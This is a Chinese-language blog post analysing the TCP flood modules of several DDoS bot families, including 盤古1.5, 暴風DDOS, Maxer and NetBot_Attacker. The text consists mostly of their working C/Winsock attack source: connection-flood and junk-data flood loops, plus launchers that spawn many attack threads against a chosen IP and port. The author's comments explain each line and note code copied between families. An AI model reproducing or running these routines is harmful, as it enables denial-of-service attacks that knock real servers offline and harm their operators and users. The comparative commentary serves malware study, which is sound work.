对现有的所能找到个DDOS代码(攻击模块)做出一次分析----TCP篇
分析者:alalmn—飛龍???????BLOG:http://hi.baidu.com/alalmn
分析的不好請各位高手見諒花了幾個小時分析的呵呵
TCP攻擊主要分為2種
1.TCP并發連接攻擊
2.TCP發送垃圾數據攻擊
//=================================================================================
冷風的.h
unsigned?long?CALLBACK?connect_break(LPVOID?dParam)?//TCP攻擊
{
SOCKADDR_IN?sockAddr;?//IP信息結構
SOCKET?m_hSocket;?//套接字
while(!StopDDosAttack)???//判斷是否處在攻擊狀態
{
???m_hSocket?=?socket(PF_INET,SOCK_STREAM,0);?//創建socket
???memset(&sockAddr,0,sizeof(sockAddr));?//內存空間初始化
???sockAddr.sin_family?=?AF_INET;???//指代協議族,在socket編程中只能是AF_INET
???sockAddr.sin_port=htons(DdosPort);?//存儲端口號(使用網絡字節順序)
???sockAddr.sin_addr.S_un.S_addr=resolve(DdosUrl);???//存儲IP地址,使用in_addr這個數據結構
??
???if?(connect(m_hSocket,(SOCKADDR*)&sockAddr,?sizeof(sockAddr))?!=?0)?//連接并?查看是否可以連接
???{
????Sleep(100);?//暫停(毫秒)
????continue;?//結束本次循環
???}
???closesocket(m_hSocket);???//關閉socket
???Sleep(100);?//暫停(毫秒)
}
return?1;
}
//=================================================================================
教主網絡僵尸.h
for(int?i?=?0;?i?<?9000;?i++)?????//循環鏈接9000次?每次0.5秒
{
CreateThread(NULL,?0,?ThreadTCPProc,?(LPVOID)(SYN_DEST_PARA*)destpara,0,&uiThreadID);?//TCP攻擊?TCP多連接?
}?//創建線程?????NULL結構指針?0線程的初始堆棧大小?ThreadTCPProc線程函數指針?(LPVOID)(SYN_DEST_PARA*)destpara共享數據?0標記?&uiThreadID執行變量
//===============================================================
//tcp攻擊部分
DWORD?WINAPI?ThreadTCPProc(LPVOID?lpParam)?//TCP攻擊?TCP多連接
{
SYN_DEST_PARA?*destpara?=?(SYN_DEST_PARA?*)lpParam;?//SYN_DEST_PARA是自定義的攻擊結構
char?c_strHost[50];
memset(c_strHost,?0,?50);?//內存空間初始化
sprintf(c_strHost,?"%s",?destpara->IP);????//攻擊IP
int?nPort?=?atoi(destpara->port);??????????//攻擊端口
while(1)
{
???if(bStopFlag)?//真為沒攻擊???假為攻擊了
???{
????break;
???}
???CWSocket?m_wskClient;?
???int?m_bConnected?=?m_wskClient.Connection(c_strHost,?nPort);
????????????????????????????????//連接???????IP?????????端口
???Sleep(500);?//延時500毫秒
}
return?0;
}
//=================================================================================
盤古1.5.h
///tcp攻擊開始
void?tcp_flood()?//TCP攻擊
{
WSADATA???????????????WSAData;?//這個結構被用來存儲?被WSAStartup函數調用后返回的?Windows?Sockets?數據
WSAStartup(MAKEWORD(2,2)?,&WSAData);?//確定SOCKET版本
SOCKADDR_IN?sockAddr;?//IP信息結構
SOCKET?m_hSocket;?//套接字
int?nSize?=?strlen(icmpBuffer);?//發送的內容
memset(&sockAddr,0,sizeof(sockAddr));???//內存空間初始化
sockAddr.sin_family?=?AF_INET;?//sin_family?地址家族(必須是AF_INET)
sockAddr.sin_port=htons(tgtPort);?//存儲端口號(使用網絡字節順序)
sockAddr.sin_addr.s_addr?=?inet_addr(tgtIP);?//inet_addr將ip地址轉換成網絡地址
if?((sockAddr.sin_addr.s_addr?=?inet_addr(tgtIP))?==?INADDR_NONE)
???//inet_addr將ip地址轉換成網絡地址?IP地址不正確返回INADDR_NONE
{
???struct?hostent?*hp?=?NULL;?//hostent?IP信息結構體
???if?((hp?=?gethostbyname(tgtIP))?!=?NULL)
????//gethostbyname主機信息?tgtIPIP地址???!=?NULL不等于空
???{
????memcpy(&(sockAddr.sin_addr),?hp->h_addr,?hp->h_length);?//復制內存
????//hp->h_length表示的是主機ip地址的長度
????sockAddr.sin_family?=?hp->h_addrtype;
????//hp->h_addrtype主機ip地址的類型是ipv4(AF_INET)還是ipv6(AF_INET6)
???}
???else
????return;
}?
for(;;)?//死循環?這是想整死人家啊寫個死循環!!!!
{
???if?(StopFlag?==?1)?//StopFlag=?1;?表示沒有在攻擊
???{
????ExitThread(1);?//結束一個線程
????return;
???}
???m_hSocket?=?socket(PF_INET,SOCK_STREAM,0);?//創建socket
???if?(connect(m_hSocket,(SOCKADDR*)&sockAddr,?sizeof(sockAddr))?!=?0)?//連接并?查看是否可以連接
????continue;???//結束本次循環
???for(int?a=0;a<10240;a++)
???{
????if?(send(m_hSocket,icmpBuffer,nSize,0)?==SOCKET_ERROR)?//發送消息?看是否發送成功
?????break;???//關閉循環
???}
???Sleep(SleepTime);???//暫停(毫秒)
???//這好像少了一句關閉套接字
}
return;
}
//=================================================================================
暴風DDOS.h
void?tcp_flood()???//攻擊???攻擊這塊代碼使用的是盤古1.5代碼沒變自己對比著看吧
{
WSADATA???????????????WSAData;
WSAStartup(MAKEWORD(2,2)?,&WSAData);
SOCKADDR_IN?sockAddr;
SOCKET?m_hSocket;
int?nSize?=?strlen(icmpBuffer);
memset(&sockAddr,0,sizeof(sockAddr));
sockAddr.sin_family?=?AF_INET;
sockAddr.sin_port=htons(tgtPort);
sockAddr.sin_addr.s_addr?=?inet_addr(tgtIP);
if?((sockAddr.sin_addr.s_addr?=?inet_addr(tgtIP))?==?INADDR_NONE)
{
???struct?hostent?*hp?=?NULL;
???if?((hp?=?gethostbyname(tgtIP))?!=?NULL)
???{
????memcpy(&(sockAddr.sin_addr),?hp->h_addr,?hp->h_length);
???sockAddr.sin_family?=?hp->h_addrtype;
???}
???else
????return;
}?
for(;;)
{
???if?(StopFlag?==?1)
???{
????ExitThread(1);
????return;
???}
???m_hSocket?=?socket(PF_INET,SOCK_STREAM,0);
???if?(connect(m_hSocket,(SOCKADDR*)&sockAddr,?sizeof(sockAddr))?!=?0)
????continue;
???for(int?a=0;a<10240;a++)
???{
????if?(send(m_hSocket,icmpBuffer,nSize,0)?==SOCKET_ERROR)
?????break;
???}
???Sleep(SleepTime);
}
return;
}
/*--------------------------------------------------------------------------------------*/
void?StartTCP(char?ip[30],int?port,int?time,int?xc)
{????????????//IP?????????端口?????時間?????線程
???if?(inet_addr(ip)==?INADDR_NONE)
????//inet_addr將ip地址轉換成網絡地址???INADDR_NONE非法地址
???{
????struct?hostent?*hp?=?NULL;?//hostent?IP信息結構體
????if?((hp?=?gethostbyname(ip))?!=?NULL)?//gethostbyname主機信息
????{
?????in_addr?in;?//IP地址轉換位一個in_addr結構的地址
?????memcpy(&in,?hp->h_addr,?hp->h_length);?//復制內存
?????//hp->h_length地址的比特長度
?????strcpy(tgtIP,inet_ntoa(in));?//復制數據
????}
???}
???else
????strcpy(tgtIP,ip);???//復制數據
???port=tgtPort;???//端口?
???time=timeout;???//時間
???//把這些數據賦值給一個全局變量?在攻擊的時候好使用?這樣是不是有點麻煩啊
???if?(StopFlag?==?-1)?//這點應該查看是否在攻擊狀態
????return;
???StopFlag=-1;?//進入攻擊狀態
???for(i=0;i<xc;i++)?//循環創建線程
???{
????h[i]=CreateThread(NULL,?0,?(LPTHREAD_START_ROUTINE)tcp_flood,?NULL,?0,?NULL);?//具體攻擊
???}
???CreateThread(NULL,?0,?(LPTHREAD_START_ROUTINE)wait_for_end,?NULL,?0,?NULL);?//結束攻擊線程
}
//=================================================================================
Maxer.h
//Maxer?ddos?壓力測試測試?Beta2.5無限制版?Build?090420?
//服務端可以看出使用的還是盤古1.5的代碼
//攻擊這塊還是不一樣的我們來分析下
//TCP攻擊
DWORD?WINAPI?TcpFlood(LPVOID?dParam)
{
PDDOSINFO?pddosinfo?=?(PDDOSINFO)dParam;???//攻擊結構體
DDOSINFO?ddosinfo;???//攻擊結構體
memcpy(&ddosinfo,pddosinfo,sizeof(DDOSINFO));//復制內存
char?senddata[10]={0};?//發送的攻擊內容
int?sendsize=10;
memset(senddata,'D',10);//內存空間初始化
WSADATA???????????????WSAData;//這個結構被用來存儲?被WSAStartup函數調用后返回的?Windows?Sockets?數據
WSAStartup(MAKEWORD(2,2)?,&WSAData);//確定SOCKET版本
SOCKADDR_IN?tcpaddr;//IP信息結構
tcpaddr.sin_family=AF_INET;//sin_family?地址家族(必須是AF_INET)
????tcpaddr.sin_addr.s_addr=resolve(ddosinfo.addr);//ip地址
????tcpaddr.sin_port=htons(ddosinfo.port);//存儲端口號(使用網絡字節順序)
SOCKET?s=socket(AF_INET,SOCK_STREAM,0);//創建socket
//為了減小CPU的利用率,禁止在socket上將數據發送到緩沖。設置SO_SNDBUF為0,
//從而使winsock直接發送數據到客戶端,而不是將數據緩沖才發送。
int?nZero?=?0;
setsockopt(s,SOL_SOCKET,SO_SNDBUF,(char?*)&nZero,sizeof(nZero));?//設置套接口的選項
??????????//接口的描述字?定義的層次?指定發送緩沖區大小?指向存放選項值的緩沖區???緩沖區的長度
while(1)?//死循環
{
???if(IsStop==1)?//判斷攻擊狀態
???{
????ExitThread(0);?//結束線程
????return?0;
???}
???for(int?a=0;a<12;a++)
???{
????if(connect(s,(SOCKADDR?*)&tcpaddr,sizeof(tcpaddr))!=SOCKET_ERROR)?//連接并?查看是否可以連接
?????send(s,senddata,sendsize,0);//發送消息
????else
?????continue;?//結束本次循環
???}
????
???Sleep(20);???//暫停(毫秒)
}
}
//=================================================================================
NetBot_Attacker.h
case?6://tcp?flood???TCP攻擊
for?(a=0;a<fuckweb.thread;a++)?//循環創建線程
{
???::CreateThread(NULL,0,TCP_flood,NULL,0,NULL);
}
break;
//--------------------------------------------------------------------
int?SEU_Rand(int?ran)//自定義的隨機數發生器
{
???unsigned?long?Time=GetTickCount();?獲取毫秒級數目
???int?seed=rand()+3;?//產生個隨機數+3
???seed=(seed*Time)%ran;
???return?seed;
}
unsigned?long?CALLBACK?TCP_flood(LPVOID?dParam)
{
???WSADATA???????????????WSAData;???//這個結構被用來存儲?被WSAStartup函數調用后返回的?Windows?Sockets?數據
???WSAStartup(MAKEWORD(2,2)?,&WSAData);?//確定SOCKET版本
???SOCKADDR_IN?sockAddr;?//IP信息結構
???SOCKET?m_hSocket;?//套接字
???int?nSent,firstrun;?
???char?senddata1[152],senddata2[128];
???char?abc[]="abcdefghijklmnopqrstuvwxyz@$%^&*<>?/|}{+-=";?//發送的內容
???memset(&sockAddr,0,sizeof(sockAddr));?//內存空間初始化
???sockAddr.sin_family?=?AF_INET;???//指代協議族,在socket編程中只能是AF_INET
???sockAddr.sin_port=htons(fuckweb.FuckPort);???//存儲端口號(使用網絡字節順序)
???sockAddr.sin_addr.S_un.S_addr=resolve(fuckweb.FuckIP);???//存儲IP地址,使用in_addr這個數據結構
???while(!stopfuck)???//判斷是否處在攻擊狀態
???{?
????m_hSocket?=?socket(PF_INET,SOCK_STREAM,0);?//創建socket
????if?(connect(m_hSocket,(SOCKADDR*)&sockAddr,?sizeof(sockAddr))==SOCKET_ERROR)???//連接并?查看是否可以連接
????{???????????????????????????????????????????//SOCKET_ERROR鏈接錯誤
?????closesocket(m_hSocket);?//關閉socket
?????return?1;?//返回
????}
????for(int?a=0;a<65000;a++)
????{
?????memset(senddata1,0,152);?//內存初始化
?????memset(senddata2,0,128);?//內存初始化
?????do?
?????{
??????firstrun=SEU_Rand(120);/*SEU_Rand()在worm.h中定義了*/?//SEU_Rand(int?ran)//自定義的隨機數發生器
?????}?while(firstrun<20);?//循環20次
?????for(int?i=0;i<firstrun;i++)
?????{
??????senddata2[i]=abc[SEU_Rand(42)];?//SEU_Rand(int?ran)//自定義的隨機數發生器
?????}
?????sprintf(?senddata1,?"#%d<<<<<I@C<<<<<%s!",a%10,?senddata2);?//字串格式化
?????nSent?=?send(m_hSocket,senddata1,strlen(senddata1),0);?//發送消息?
?????//IP結構體?要發送數據的緩沖區?要發送的數據的字節數???一般置0
?????if(nSent?==?SOCKET_ERROR)?//看是否發送成功
??????break;?//關閉循環
?????Sleep(40);???//暫停(毫秒)
????}
????closesocket(m_hSocket);?//關閉socket
???}
???return?1;
}
//==========================================================
//TCP多連接?并發連接
case?5://tcp?mutlconnect
for?(a=0;a<fuckweb.thread;a++)
{
???::CreateThread(NULL,0,connect_break,NULL,0,NULL);?//單次攻擊
}
::CreateThread(NULL,0,TCP_connect,NULL,0,NULL);????//多次攻擊
break;
//------
unsigned?long?CALLBACK?connect_break(LPVOID?dParam)
{
???WSADATA???????????????WSAData;?//這個結構被用來存儲?被WSAStartup函數調用后返回的?Windows?Sockets?數據
???WSAStartup(MAKEWORD(2,2)?,&WSAData);//確定SOCKET版本
???SOCKADDR_IN?sockAddr;//IP信息結構
???SOCKET?m_hSocket;//套接字
???memset(&sockAddr,0,sizeof(sockAddr));//內存空間初始化
???sockAddr.sin_family?=?AF_INET;//sin_family?地址家族(必須是AF_INET)
???sockAddr.sin_port=htons(fuckweb.FuckPort);//存儲端口號(使用網絡字節順序)
???sockAddr.sin_addr.S_un.S_addr=resolve(fuckweb.FuckIP);?//ip地址
???while(!stopfuck)?//判斷是否處在攻擊狀態
???{
????m_hSocket?=?socket(PF_INET,SOCK_STREAM,0);?//創建socket
????connect(m_hSocket,(SOCKADDR*)&sockAddr,?sizeof(sockAddr));?//連接
????Sleep(40);?//暫停(毫秒)
????closesocket(m_hSocket);?//關閉套接字
???}
???return?1;
}
//------
unsigned?long?CALLBACK?TCP_connect(LPVOID?dParam)
{
???WSADATA???????????????WSAData;?//這個結構被用來存儲?被WSAStartup函數調用后返回的?Windows?Sockets?數據
???WSAStartup(MAKEWORD(2,2)?,&WSAData);?//確定SOCKET版本
???SOCKADDR_IN?sockAddr;?//IP信息結構
???SOCKET?m_hSocket[200];?//套接字
???for?(int?i=0;i<200;i++)
???{
????m_hSocket[i]?=?socket(PF_INET,SOCK_STREAM,0);???//創建socket
????connect(m_hSocket[i],(SOCKADDR*)&sockAddr,?sizeof(sockAddr));?//連接并?查看是否可以連接
????Sleep(10);???//暫停(毫秒)
???}
???while(!stopfuck)?//判斷是否處在攻擊狀態
???{
????for?(int?i=0;i<200;i++)
????{
?????closesocket(m_hSocket[i]);?//?關閉套接字
????}
????Sleep(40);???//暫停(毫秒)
???}
???return?1;
}
//=================================================================================
暴風DDOSVIP2010-225.h
//這個不是暴風寫的暴風早就沒更新了?
void?tcpattack()?//TCP數據包攻擊
{
WSADATA???????????????WSAData;?//這個結構被用來存儲?被WSAStartup函數調用后返回的?Windows?Sockets?數據
WSAStartup(MAKEWORD(2,2)?,&WSAData);?//確定SOCKET版本
SOCKADDR_IN?sockAddr;?//IP信息結構
SOCKET?m_hSocket;?//套接字
srand((unsigned)time(?NULL?));
//srand隨機數函數???time時間
int?tcprand=rand()%512+1;?產生個隨機數?這個地方應該是學NetBot_Attacker的呵呵
char?tcpbuffer[256];?//攻擊數據
memset(tcpbuffer,tcprand,256);???//內存空間初始化
int?nSize?=?256;
memset(&sockAddr,0,sizeof(sockAddr));???//內存空間初始化
sockAddr.sin_family?=?AF_INET;?//sin_family?地址家族(必須是AF_INET)
sockAddr.sin_port=htons(tgtPort);?//存儲端口號(使用網絡字節順序)
sockAddr.sin_addr.s_addr?=?inet_addr(tgtIP);?//inet_addr將ip地址轉換成網絡地址
for(;;)?//死循環
{
???if?(StopFlag?==?1)?//是否處在攻擊狀態
???{
????ExitThread(1);
????return;
???}
???m_hSocket?=?socket(PF_INET,SOCK_STREAM,0);?//創建socket
???if?(connect(m_hSocket,(SOCKADDR*)&sockAddr,?sizeof(sockAddr))?!=?0)?//連接并?查看是否可以連接
????continue;???//結束本次循環
???for(int?a=0;a<10240;a++)
???{
????if?(send(m_hSocket,tcpbuffer,nSize,0)?==SOCKET_ERROR)?//發送消息?看是否發送成功
?????break;?//關閉循環
???}
???Sleep(SleepTime);???//暫停(毫秒)?SleepTime呵呵名字都沒變應該是抄襲盤古1.5???還是有點創新的加入了產生個隨機數?這個呵呵
}
WSACleanup();?//中止Windows?Sockets?DLL的使用????這樣好像比結束socket好用啊呵呵
return;
}
/*--------------------------------------------------------------------------------------*/
void?StartTCP(char?ip[30],int?port,int?mytime,int?xc)
{
???if?(inet_addr(ip)==?INADDR_NONE)
????//inet_addr將ip地址轉換成網絡地址???INADDR_NONE非法地址
???{
????struct?hostent?*hp?=?NULL;?//hostent?IP信息結構體
????if?((hp?=?gethostbyname(ip))?!=?NULL)//gethostbyname主機信息?IP?IP地址???!=?NULL不等于空
????{
?????in_addr?in;
?????memcpy(&in,?hp->h_addr,?hp->h_length);?//復制內存
?????strcpy(tgtIP,inet_ntoa(in));?//拷貝
????}
???}
???else
????strcpy(tgtIP,ip);?//復制數據
???port=tgtPort;?//端口?
???timeout=mytime;?//時間
???if?(StopFlag?==?-1)?//這點應該查看是否在攻擊狀態
????return;
???StopFlag=-1;?//進入攻擊狀態
???for(z=0;z<xc;z++)
???{
????h[z]=CreateThread(NULL,?0,?(LPTHREAD_START_ROUTINE)tcpattack,?NULL,?0,?NULL);???//具體攻擊
???}
???if(timeout!=0)
???{
????CreateThread(NULL,?0,?(LPTHREAD_START_ROUTINE)wait_for_end,?NULL,?0,?NULL);?//結束攻擊線程
???}
}
/*---------------------------------------------------------------------------------*/
void?xpattack()?//TCP并發連接攻擊
{
WSADATA???????????????WSAData;?//這個結構被用來存儲?被WSAStartup函數調用后返回的?Windows?Sockets?數據
WSAStartup(MAKEWORD(2,2)?,&WSAData);?//確定SOCKET版本
SOCKADDR_IN?sockAddr;?//IP信息結構
SOCKET?m_hSocket;?//套接字
int?nSize?=?256;
memset(&sockAddr,0,sizeof(sockAddr));?//內存空間初始化
sockAddr.sin_family?=?AF_INET;?//sin_family?地址家族(必須是AF_INET)
sockAddr.sin_port=htons(tgtPort);?//存儲端口號(使用網絡字節順序)
sockAddr.sin_addr.s_addr?=?inet_addr(tgtIP);?//inet_addr將ip地址轉換成網絡地址
for(;;)?//死循環?
{
???if?(StopFlag?==?1)//是否在攻擊
???{
????ExitThread(1);//結束一個線程
????return;
???}
???m_hSocket?=?socket(PF_INET,SOCK_STREAM,0);?//創建socket
??
???for(int?ss=0;ss<1024;ss++)
???{
????if?(connect(m_hSocket,(SOCKADDR*)&sockAddr,?sizeof(sockAddr))?!=?0)?//連接并?查看是否可以連接
?????continue;???//結束本次循環
????closesocket(m_hSocket);?//結束socket
???}
???Sleep(SleepTime);?//暫停(毫秒)
}
WSACleanup();?//中止Windows?Sockets?DLL的使用
return;
}
/*--------------------------------------------------------------------------------------*/
void?StartXP(char?ip[30],int?port,int?mytime,int?xc)???//tcp?connect(流量)
{
???if?(inet_addr(ip)==?INADDR_NONE)
???{//inet_addr將ip地址轉換成網絡地址???INADDR_NONE非法地址
????struct?hostent?*hp?=?NULL;?//hostent?IP信息結構體
????if?((hp?=?gethostbyname(ip))?!=?NULL)?//gethostbyname主機信息
????{
?????in_addr?in;?//IP地址轉換位一個in_addr結構的地址
?????memcpy(&in,?hp->h_addr,?hp->h_length);?//復制內存
?????strcpy(tgtIP,inet_ntoa(in));???//復制數據
????}
???}
???else
????strcpy(tgtIP,ip);???//復制數據
???port=tgtPort;???//端口?
???timeout=mytime;???//時間
???if?(StopFlag?==?-1)?//這點應該查看是否在攻擊狀態
????return;
???StopFlag=-1;?//進入攻擊狀態
???for(z=0;z<xc;z++)?//循環創建線程
???{
????h[z]=CreateThread(NULL,?0,?(LPTHREAD_START_ROUTINE)xpattack,?NULL,?0,?NULL);?//具體攻擊
???}
???if(SleepTime!=0)
???{
????CreateThread(NULL,?0,?(LPTHREAD_START_ROUTINE)wait_for_end,?NULL,?0,?NULL);?//結束攻擊線程
???}
}
//=================================================================================
盤古DDOS優化版.h
///TCP
void?tcpflood()
{
WSADATA?WSAData;???//這個結構被用來存儲?被WSAStartup函數調用后返回的?Windows?Sockets?數據
WSAStartup(MAKEWORD(2,2)?,&WSAData);?//確定SOCKET版本
SOCKADDR_IN?sockAddr;?//IP信息結構
SOCKET?m_hSocket;?//套接字
memset(&sockAddr,0,sizeof(sockAddr));???//內存空間初始化
sockAddr.sin_family?=?AF_INET;?//sin_family?地址家族(必須是AF_INET)
sockAddr.sin_port=htons(tgtport);?//存儲端口號(使用網絡字節順序)
sockAddr.sin_addr.s_addr?=?inet_addr(tgtip);?//inet_addr將ip地址轉換成網絡地址
if?((sockAddr.sin_addr.s_addr?=?inet_addr(tgtip))?==?INADDR_NONE)?//inet_addr將ip地址轉換成網絡地址?IP地址不正確返回INADDR_NONE
{
???struct?hostent?*hp?=?NULL;?//hostent?IP信息結構體
???if?((hp?=?gethostbyname(tgtip))?!=?NULL)?//gethostbyname主機信息?tgtIPIP地址???!=?NULL不等于空
???{
????memcpy(&(sockAddr.sin_addr),?hp->h_addr,?hp->h_length);?//復制內存
???sockAddr.sin_family?=?hp->h_addrtype;//hp->h_addrtype主機ip地址的類型是ipv4(AF_INET)還是ipv6(AF_INET6)
???}
???else
????return;
}?
for(;;)?//死循環?這是想整死人家啊寫個死循環!!!!
{
???if?(Stop?==?1)?//StopFlag=?1;?表示沒有在攻擊
???{
????ExitThread(1);
????return;
???}
???m_hSocket?=?socket(PF_INET,SOCK_STREAM,0);?//創建socket
???if?(connect(m_hSocket,(SOCKADDR*)&sockAddr,?sizeof(sockAddr))?!=?0)?//連接并?查看是否可以連接
????continue;
???for(int?a=0;a<1024;a++)
???{
????if?(send(m_hSocket,"aaaaaa",6,0)?==SOCKET_ERROR)?//發送消息?看是否發送成功
?????break;
???}
???Sleep(20);?//暫停(毫秒)
???//這好像少了一句關閉套接字
}
return;
}
//=========================================================
總結
以上是生活随笔為你收集整理的对现有的所能找到个DDOS代码(攻击模块)做出一次分析----TCP篇的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 对现有的所能找到的DDOS代码(攻击模块
- 下一篇: 对现有的所能找到的DDOS代码(攻击模块